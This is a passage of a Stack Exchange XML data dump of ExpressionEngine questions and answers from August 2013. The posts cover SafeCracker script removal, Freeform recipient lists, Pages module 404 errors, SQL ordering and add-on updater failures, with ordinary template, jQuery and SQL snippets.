\/&amp;gt;\n&quot;},&quot;onCtrlEnter&quot;:{&quot;keepDefault&quot;:false,&quot;openWith&quot;:&quot;\n&amp;lt;p&amp;gt;&quot;,&quot;closeWith&quot;:&quot;&amp;lt;\/p&amp;gt;\n&quot;},&quot;markupSet&quot;:[{&quot;name&quot;:&quot;b&quot;,&quot;key&quot;:&quot;B&quot;,&quot;openWith&quot;:&quot;&amp;lt;strong&amp;gt;&quot;,&quot;closeWith&quot;:&quot;&amp;lt;\/strong&amp;gt;&quot;,&quot;className&quot;:&quot;btn_b&quot;},{&quot;name&quot;:&quot;i&quot;,&quot;key&quot;:&quot;I&quot;,&quot;openWith&quot;:&quot;&amp;lt;em&amp;gt;&quot;,&quot;closeWith&quot;:&quot;&amp;lt;\/em&amp;gt;&quot;,&quot;className&quot;:&quot;btn_i&quot;},{&quot;name&quot;:&quot;blockquote&quot;,&quot;key&quot;:&quot;Q&quot;,&quot;openWith&quot;:&quot;&amp;lt;blockquote&amp;gt;&quot;,&quot;closeWith&quot;:&quot;&amp;lt;\/blockquote&amp;gt;&quot;,&quot;className&quot;:&quot;btn_blockquote&quot;},{&quot;name&quot;:&quot;a&quot;,&quot;key&quot;:&quot;A&quot;,&quot;openWith&quot;:&quot;&amp;lt;a href=\&quot;[![Link:!:http:\/\/]!]\&quot;(!( title=\&quot;[![Title]!]\&quot;)!)&amp;gt;&quot;,&quot;closeWith&quot;:&quot;&amp;lt;\/a&amp;gt;&quot;,&quot;className&quot;:&quot;btn_a&quot;},{&quot;name&quot;:&quot;img&quot;,&quot;key&quot;:&quot;&quot;,&quot;replaceWith&quot;:&quot;&quot;,&quot;className&quot;:&quot;btn_img&quot;}],&quot;onTab&quot;:{&quot;keepDefault&quot;:false,&quot;replaceWith&quot;:&quot;\t&quot;}};&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot; src=&quot;http://website/index.php?ACT=58&amp;amp;amp;ui=core,widget,mouse,position,draggable,resizable,button,dialog&amp;amp;amp;plugin=scrollable,scrollable.navigator,markitup,thickbox,toolbox.expose,overlay,tmpl&amp;amp;amp;v=1366647338&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&amp;gt;&#xA;// &amp;lt;![CDATA[&#xA;$(document).ready(function() {&#xA;    if (typeof SafeCracker == &quot;undefined&quot; || ! SafeCracker) { var SafeCracker = {markItUpFields:{}};}});&#xA;// ]]&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;WHY!?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't remove them in the module file due to me needing them elsewhere on another template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I remove these? Because jQuery isn't included before these scripts, it's just throwing big fat errors in console! Eugh.&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-08-28T17:59:14.210" Title="Removing SafeCracker &amp; Inserted Assets" Tags="|safecracker|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13248" PostTypeId="2" ParentId="13247" CreationDate="2013-08-28T17:59:14.210" Score="3" Body="&lt;p&gt;You're likely looking at the new docs that just went up, for EE 2.7 (released yesterday).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under EE 2.6.1, the parameter you want is called &lt;code&gt;safecracker_head&lt;/code&gt;, not &lt;code&gt;include_assets&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-08-28T17:59:14.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13249" PostTypeId="2" ParentId="13246" CreationDate="2013-08-28T18:02:52.670" Score="6" Body="&lt;p&gt;Store like ExpressionEngine does not make any assumptions about your template content. The checkout tag and product tags will create an opening and closing &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; tag but other then that you are free to arrange your template however you see fit. There are no predesignated styles or html elements that you need to use or create.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you purchase Store there is a set of example templates that you can use but the actual html portion is completely up to you.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-08-28T18:02:52.670" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13250" PostTypeId="1" AcceptedAnswerId="13251" CreationDate="2013-08-28T18:29:51.083" Score="4" ViewCount="479" Body="&lt;p&gt;I have another FreeForm question. Below is my Freeform code that is now working, sending emails to different recipients based on the checkboxes selected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I need those selections to appear in the notification email, so the recipients are aware of each other being contacted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nosing around it looks like I need a combination of a hidden field and some javascript?  Does anyone happen to have that js handy they could post?  I'm usually ok to tweak something that's close but don't know enough js to write from scratch.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:freeform:form&#xA;form:id=&quot;contact-form&quot;&#xA;form_name=&quot;contact&quot; &#xA;required=&quot;name|email|message|recipient_email&quot;&#xA;return=&quot;contact/thanks&quot;&#xA;recipients=&quot;yes&quot;&#xA;recipients_limit=&quot;11&quot;&#xA;recipient_template=&quot;to_era&quot; &#xA;recipient1=&quot;name|email1@address.com&quot;&#xA;recipient2=&quot;name|email2@address.com&quot;&#xA;recipient3=&quot;name|email3@address.com&quot;&#xA;recipient4=&quot;name|email4@address.com&quot;&#xA;recipient5=&quot;name|email5@address.com&quot;&#xA;recipient6=&quot;name|email6@address.com&quot;&#xA;recipient6=&quot;name|email7@address.com&quot;&#xA;recipient8=&quot;name|email8@address.com&quot;&#xA;recipient9=&quot;name|email9@address.com&quot;&#xA;recipient10-=&quot;name|email10@address.com&quot;&#xA;recipient11=&quot;name|email11@address.com&quot;&#xA;}&#xA;&#xA;&#xA;&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;label for=&quot;name&quot;&amp;gt;Name:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; id=&quot;name&quot; name=&quot;name&quot; size=&quot;40&quot; maxlength=&quot;64&quot; value=&quot;&quot; class=&quot;textfield&quot; /&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;label for=&quot;email&quot;&amp;gt;Email:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; id=&quot;email&quot; name=&quot;email&quot; size=&quot;40&quot; maxlength=&quot;128&quot; value=&quot;&quot; class=&quot;textfield&quot; /&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label for=&quot;telephone&quot;&amp;gt;Telephone:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; id=&quot;telephone&quot; name=&quot;telephone&quot; size=&quot;40&quot; maxlength=&quot;16&quot; value=&quot;&quot; class=&quot;textfield&quot; /&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label for=&quot;availability&quot;&amp;gt;What is the best time for us to reach you?&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; id=&quot;availability&quot; name=&quot;availability&quot; size=&quot;40&quot; value=&quot;&quot; class=&quot;textfield&quot; /&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label for=&quot;message&quot;&amp;gt;Message:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;textarea id=&quot;message&quot; name=&quot;message&quot; rows=&quot;18&quot; cols=&quot;40&quot; class=&quot;textfield&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;fieldset id=&quot;community_checkboxes&quot;&amp;gt;&#xA;      &amp;lt;legend&amp;gt;Select each of the communities are you interested in.&amp;lt;/legend&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt; {!-- ravenna --}&#xA;           &amp;lt;input{if segment_2==&quot;ravenna&quot;} checked{/if} type=&quot;checkbox&quot; id=&quot;{freeform:recipient_value1}&quot; class=&quot;community_chbx&quot; value=&quot;{freeform:recipient_value1}&quot; name=&quot;recipient_email[]&quot;&amp;gt;&#xA;           &amp;lt;label for=&quot;{freeform:recipient_value1}&quot;&amp;gt;{freeform:recipient_name1}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt; &#xA;           &amp;lt;input{if segment_2==&quot;wallingford&quot;} checked{/if} type=&quot;checkbox&quot; id=&quot;{freeform:recipient_value2}&quot; class=&quot;community_chbx&quot; value=&quot;{freeform:recipient_value2}&quot; name=&quot;recipient_email[]&quot;&amp;gt;&#xA;           &amp;lt;label for=&quot;{freeform:recipient_value2}&quot;&amp;gt;{freeform:recipient_name2}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;          &amp;lt;p&amp;gt; {!--lakeshore--}&#xA;           &amp;lt;input{if segment_2==&quot;north-seattle&quot;} checked{/if} type=&quot;checkbox&quot; id=&quot;{freeform:recipient_value3}&quot; class=&quot;community_chbx&quot; value=&quot;{freeform:recipient_value3}&quot; name=&quot;recipient_email[]&quot;&amp;gt;&#xA;           &amp;lt;label for=&quot;{freeform:recipient_value3}&quot;&amp;gt;{freeform:recipient_name3}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt; {!-- broadview --}&#xA;           &amp;lt;input{if segment_2==&quot;mercer-island&quot;} checked{/if} type=&quot;checkbox&quot; id=&quot;{freeform:recipient_value4}&quot; class=&quot;community_chbx&quot; value=&quot;{freeform:recipient_value4}&quot; name=&quot;recipient_email[]&quot;&amp;gt;&#xA;           &amp;lt;label for=&quot;{freeform:recipient_value4}&quot;&amp;gt;{freeform:recipient_name4}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt; {!--wallingford --}&#xA;           &amp;lt;input{if segment_2==&quot;lakeshore&quot;} checked{/if} type=&quot;checkbox&quot; id=&quot;{freeform:recipient_value5}&quot; class=&quot;community_chbx&quot; value=&quot;{freeform:recipient_value5}&quot; name=&quot;recipient_email[]&quot;&amp;gt;&#xA;           &amp;lt;label for=&quot;{freeform:recipient_value5}&quot;&amp;gt;{freeform:recipient_name5}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt; {!-- mercer-island --}&#xA;           &amp;lt;input{if segment_2==&quot;issaquah&quot;} checked{/if} type=&quot;checkbox&quot; id=&quot;{freeform:recipient_value6}&quot; class=&quot;community_chbx&quot; value=&quot;{freeform:recipient_value6}&quot; name=&quot;recipient_email[]&quot;&amp;gt;&#xA;           &amp;lt;label for=&quot;{freeform:recipient_value6}&quot;&amp;gt;{freeform:recipient_name6}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt; {!--issaquah --}&#xA;           &amp;lt;input{if segment_2==&quot;broadview&quot;} checked{/if} type=&quot;checkbox&quot; id=&quot;{freeform:recipient_value7}&quot; class=&quot;community_chbx&quot; value=&quot;{freeform:recipient_value7}&quot; name=&quot;recipient_email[]&quot;&amp;gt;&#xA;           &amp;lt;label for=&quot;{freeform:recipient_value7}&quot;&amp;gt;{freeform:recipient_name7}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt; {!--bellevue --}&#xA;           &amp;lt;input{if segment_2==&quot;bellevue&quot;} checked{/if} type=&quot;checkbox&quot; id=&quot;{freeform:recipient_value8}&quot; class=&quot;community_chbx&quot; value=&quot;{freeform:recipient_value8}&quot; name=&quot;recipient_email[]&quot;&amp;gt;&#xA;           &amp;lt;label for=&quot;{freeform:recipient_value8}&quot;&amp;gt;{freeform:recipient_name8}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt; &#xA;           &amp;lt;input type=&quot;checkbox&quot; id=&quot;{freeform:recipient_value10}&quot; class=&quot;community_chbx&quot; value=&quot;{freeform:recipient_value10}&quot; name=&quot;recipient_email[]&quot;&amp;gt;&#xA;           &amp;lt;label for=&quot;{freeform:recipient_value10}&quot;&amp;gt;{freeform:recipient_name10}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/p&amp;gt;        &#xA;&#xA;        &amp;lt;p&amp;gt; &#xA;           &amp;lt;input{if segment_2==&quot;&quot;} checked{/if} type=&quot;checkbox&quot; id=&quot;{freeform:recipient_value9}&quot; class=&quot;community_chbx&quot; value=&quot;{freeform:recipient_value9}&quot; name=&quot;recipient_email[]&quot;&amp;gt;&#xA;           &amp;lt;label for=&quot;{freeform:recipient_value9}&quot;&amp;gt;{freeform:recipient_name9}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&#xA;  &amp;lt;p&amp;gt;&amp;lt;input id=&quot;button_submit&quot; name=&quot;submit&quot; type='submit' value='Submit Form' /&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:freeform:form}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="651" LastActivityDate="2013-09-28T21:04:28.137" Title="Getting Recipient Names/email address in Notification" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13251" PostTypeId="2" ParentId="13250" CreationDate="2013-08-28T18:35:12.610" Score="4" Body="&lt;p&gt;You could have a text field named 'chosen_recipients and use a jQuery listener to wait for click of the checkboxes and concat the name results in the hidden field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hidden field could then be output as a normal field in the notification.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;input name=&quot;chosen_recipients&quot; type=&quot;hidden&quot; /&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;            jQuery(function($){&#xA;                    var $chosenRecipients   = $('[name=&quot;chosen_recipients&quot;]');&#xA;                    var $recipientChecks    = $('[name^=&quot;recipient_email&quot;]');&#xA;&#xA;                    $recipientChecks.click(function(){&#xA;                            //force this check to wait until checkbox state is resolved&#xA;                            //works weirdly in some browsers without this&#xA;                            setTimeout(function(){&#xA;                                    $chosenRecipients.val('');&#xA;                                    var newVal = [];&#xA;                                    $recipientChecks.each(function(){&#xA;                                            if ($(this).is(':checked'))&#xA;                                            {&#xA;                                                    newVal.push( $('label[for=&quot;' + $(this).attr('id') + '&quot;]').text());&#xA;                                            }&#xA;                                    });&#xA;                                    $chosenRecipients.val(newVal.join(', '));&#xA;                            },0);&#xA;                    });&#xA;            });&#xA;    &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2013-08-28T18:56:45.250" LastActivityDate="2013-08-28T18:56:45.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13252" PostTypeId="1" AcceptedAnswerId="13255" CreationDate="2013-08-28T18:43:11.397" Score="2" ViewCount="233" Body="&lt;p&gt;Using the pages module, I have a number of entries that load at &#xA;domain.com/url_title, for example, domain.com/contact&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;main&quot; dynamic=&quot;on&quot; &#xA;    disable=&quot;categories|member_data|pagination|trackbacks&quot; &#xA;    limit=&quot;1&quot; url_title=&quot;{segment_1}&quot;}&#xA;        &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;        {body}      &#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pages display fine. The contact page has a FreeForm form that redirects to domain.com/contact/thank-you, but gives a 404 error. The pages URIs are set correctly. What gives?&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-08-28T20:28:22.537" Title="segment_2 in a page URL giving 404" Tags="|solspace-freeform|404|pages|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13253" PostTypeId="2" ParentId="13252" CreationDate="2013-08-28T19:01:45.093" Score="4" Body="&lt;p&gt;When using the Pages module, the URL Title is not used and should not be fed to to the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag. If you remove that parameter from the tag and change &lt;code&gt;dynamic=&quot;yes&quot;&lt;/code&gt; or remove the dynamic parameter altogether, it will pick up the correct page entry automatically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll also need to make sure the entry with the Page URI set has the correct template configured on the Pages tab.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-08-28T19:01:45.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13254" PostTypeId="1" CreationDate="2013-08-28T19:30:28.623" Score="2" ViewCount="68" Body="&lt;p&gt;I'm having an odd result whenever I try to use the text &quot;&lt;strong&gt;substring(&lt;/strong&gt;&quot; &lt;em&gt;anywhere&lt;/em&gt; within EE (both with 2.4 and after updating to 2.7).  EE kicks me out of the Control Panel without saving my content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to implement a Google Analytics Experiment by including their code in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; section of my templates.  I've tried pasting the script in a custom field, default field, a template, everywhere there is a text input field in EE.  Even within previously saved templates that already contain perfectly functional javascript.  As soon as I click &quot;Save&quot; or &quot;Update&quot; EE redirects out of the CP to one of my content pages.  Nothing is saved.  I've tried Chrome, FF, and IE all to the same results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm allowed to save the content if I type &quot;substring&quot; but the second I include the opening &quot;(&quot; I get this behavior, but I don't get it with the substr() function&lt;/p&gt;&#xA;" OwnerUserId="1968" LastEditorUserId="1968" LastEditDate="2013-08-28T19:37:17.007" LastActivityDate="2013-08-28T19:37:17.007" Title="Javascript Substring function crashes EE2" Tags="|ee2|javascript|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13255" PostTypeId="2" ParentId="13252" CreationDate="2013-08-28T20:28:22.537" Score="2" Body="&lt;p&gt;Adding an additional segment on to the end of a Pages URI will trigger a 404. I recommend using the &lt;a href=&quot;http://devot-ee.com/add-ons/freebie&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Freebie&lt;/strong&gt;&lt;/a&gt; extension to set an ignored segment, in your case &quot;thank-you.&quot; This will allow you to redirect to &lt;code&gt;/contact/thank-you&lt;/code&gt; and show the contact page while still using the second segment for any conditionals.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if freebie_2 == &quot;thank-you&quot;}&#xA;    &amp;lt;p&amp;gt;Your thank you message here.&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-08-28T20:28:22.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13256" PostTypeId="1" CreationDate="2013-08-28T20:29:40.697" Score="4" ViewCount="207" Body="&lt;p&gt;The exp:presso store website says that you can process refunds from the control panel, but there is no documentation on what the steps are to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you process a refund from the control panel?  We are using the Authorize.Net AIM payment plugin.&lt;/p&gt;&#xA;" OwnerUserId="1969" LastActivityDate="2013-09-03T08:41:30.243" Title="How to process refund from control panel?" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13257" PostTypeId="2" ParentId="13256" CreationDate="2013-08-28T21:15:18.703" Score="1" Body="&lt;p&gt;The ability to process refunds is based upon the gateway that you are using. Authorize.net AIM does not allow it however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To process a refund you need to goto Store &gt; Orders &gt; Details for the order in question then you will see a button for refunds.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2013-09-03T08:41:30.243" LastActivityDate="2013-09-03T08:41:30.243" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13258" PostTypeId="2" ParentId="12599" CreationDate="2013-08-28T21:30:40.940" Score="1" Body="&lt;p&gt;The answer is: Don't use switchee on the site/index template if using a 404 template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution, Long Story Short:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use Pages for all segment-1-style one-off static pages.   &lt;/li&gt;&#xA;&lt;li&gt;Break up the original template into two templates.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The kernel of the answer was in my statement: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Based on James Smith's &lt;a href=&quot;http://www.jamessmith.co.uk/articles/expressionengine_url_schematic&quot; rel=&quot;nofollow&quot;&gt;URL schematic&lt;/a&gt; which he mentions here on EESE (topic: strict urls), I fear I broke some cardinal rule about segment_1. I hope not.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well, I did break the cardinal rule. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took up the matter in the &lt;a href=&quot;http://devot-ee.com/add-ons/support/switchee/viewthread/10347&quot; rel=&quot;nofollow&quot;&gt;devotee switchee forum&lt;/a&gt;, and after I provided more template debugging reports, Mark Croxton referred to the James Smith schematic, and said:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[Mark Croxton:] To use static pages in segment_1 requires the Pages or Structure modules. Alternatively you could use an htaccess rule or one if the new routing add-ons to create custom routes for static pages.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Gory Fix Details, or, How I implemented Pages&lt;br&gt;&#xA;&lt;em&gt;(I know, I know. I have not used Pages much.)&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I removed switchee entirely from this site/index template. Breakdown of what I did with what was in each case statement.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- ----- HOME PAGE ----- --}&#xA;{case value=&quot;index|''&quot;}&#xA;   ...&#xA;{/case}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything &lt;em&gt;inside&lt;/em&gt; case value=&quot;index|&amp;amp;c&quot; remained in the site/index template. (I'm showing the case statements here to refer back to the other template code posted in the original Q and other replies)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a second template, site/static. Everything &lt;em&gt;inside&lt;/em&gt; the case (below) went there.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- ----- Static Pages + Sidebar Asides ------ --}&#xA;{case default=&quot;Yes&quot;} &#xA;{exp:channel:entries channel=&quot;static&quot;  ..etc... }&#xA;... &#xA;{/exp:channel:entries}&#xA;{/case}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Pages Module configuration, I set the Default Template for the Static channel to site/static.&#xA;Then I went and changed all the entries in the static channel to Pages, and gave them their custom URLs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fixed.&lt;/p&gt;&#xA;" OwnerUserId="143" LastActivityDate="2013-08-28T21:30:40.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13259" PostTypeId="2" ParentId="13211" CreationDate="2013-08-28T22:20:28.983" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;http://wiki.nginx.org/ExpressionEngine&quot; rel=&quot;nofollow&quot;&gt;Nginx page for ExpressionEngine&lt;/a&gt; has sample configs, that should work for EE 1.6.x. And, here are more examples in an &lt;a href=&quot;http://ellislab.com/forums/viewthread/92987/&quot; rel=&quot;nofollow&quot;&gt;Archived EE Forum Thread on Nginx&lt;/a&gt;. And, more good info is available in this &lt;a href=&quot;http://ellislab.com/forums/viewthread/213024/&quot; rel=&quot;nofollow&quot;&gt;Current EE Forum Thread on Nginx&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that any info you find on the web about using Nginx with EE should be applicable to EE 1, even if the example uses EE 2. From the point of view of the web server (Apache or Nginx), there aren't any significant differences between EE 1 and EE 2. In both EE 1 &amp;amp; 2, you need to redirect all requests to the index.php file, except for requests to actual files and folders.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastEditorUserId="1900" LastEditDate="2013-08-29T01:01:48.573" LastActivityDate="2013-08-29T01:01:48.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13260" PostTypeId="1" AcceptedAnswerId="13277" CreationDate="2013-08-28T22:30:00.393" Score="1" ViewCount="260" Body="&lt;p&gt;I've got a query that very nearly works, except for the ORDER BY part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Plain English, I'm selecting the author_ids for authors who've posted entries to a particular channel, and limiting it by a few member groups. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(why is this a query? Will use this as basis to list entries in channel by member, limiting the number of entries/author to 4) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, so good. This Query works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:query sql=&quot;SELECT DISTINCT author_id &#xA;    FROM exp_channel_titles &#xA;    JOIN exp_members ON exp_channel_titles.author_id = exp_members.member_id &#xA;    WHERE exp_channel_titles.channel_id='5' &#xA;    AND exp_channel_titles.status = 'open'&#xA;    AND (exp_members.group_id = '5' OR exp_members.group_id = '6' OR exp_members.group_id = '7' OR exp_members.group_id = '8')&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works, but the listing needs to be ordered differently. I want to order them alphabetically by member last name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am using Profile:Edit and have custom channel fields for member_first_name and member_last_name (field_id_50) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to refer to exp_channel_titles twice. Here's a graphic representation of what info I'm referring to in the database:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ct  exp_channel_titles             exp_members&#xA;     ==================             ===========&#xA;     author_id                      member_id&#xA;     status = open                  group_id = 5|6|7|8&#xA;     channel_id = 5&#xA;&#xA; ct2 exp_channel_titles             exp_channel_data&#xA;     ==================             ================&#xA;     entry_id                       entry_id&#xA;     channel_id = 12                field_id_50&#xA;     author_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's my second query. It doesn't throw errors (um, yay?), but it does not change the order of the results, either. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DISTINCT ct.author_id&#xA;FROM exp_channel_titles AS ct &#xA;JOIN exp_channel_titles AS ct2 ON ct.author_id = ct2.author_id&#xA;JOIN exp_members ON ct.author_id = exp_members.member_id&#xA;JOIN exp_channel_data ON exp_channel_data.entry_id = ct2.author_id&#xA;WHERE ct.channel_id = 5&#xA;AND ct.status = 'open'&#xA;AND ct2.channel_id = 12&#xA;AND (exp_members.group_id = 5 OR exp_members.group_id = 6 OR exp_members.group_id = 7 OR exp_members.group_id = 8)&#xA;ORDER BY exp_channel_data.field_id_50 ASC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;changing the first line does not produces an empty column of results for last name &#xA;        SELECT DISTINCT ct.author_id, exp_channel_data.field_id_50&#xA;        FROM etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get my ORDER BY to work?&lt;/p&gt;&#xA;" OwnerUserId="143" LastActivityDate="2013-08-29T12:25:14.440" Title="SQL select query almost works, except for the ORDER BY" Tags="|query|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13261" PostTypeId="1" AcceptedAnswerId="13314" CreationDate="2013-08-28T23:43:16.130" Score="1" ViewCount="160" Body="&lt;p&gt;I used &lt;a href=&quot;https://www.devdemon.com/updater/&quot; rel=&quot;nofollow&quot;&gt;DevDemon Updater&lt;/a&gt; to update an EE install from 2.5.2 to 2.7.0 -- worked great, as usual. But, now, Updater will not update any add-ons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When trying to update any add-on, Updater looks like it's working correctly through each step--all the way to &quot;Done.&quot; But it silently fails to make any changes to EE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see any PHP errors in the error log. I've checked the Updater settings, as well as the EE folders' file permissions. I can update add-ons manually (copying files) and also change things (content, settings) in EE via the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a variety of add-ons, including Assets2.1.4, Matrix2.5.6, Playa4.4.5, Wygwam3.1.2, low-reorder-v221, low-search-v231, snippet_sync-135 and others. And, I can see that DevDemon is successfully unzipping these add-on files into a folder under system/expressionengine/cache/updater. The files, however, are never being copied into the proper third_party folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have this combo of EE 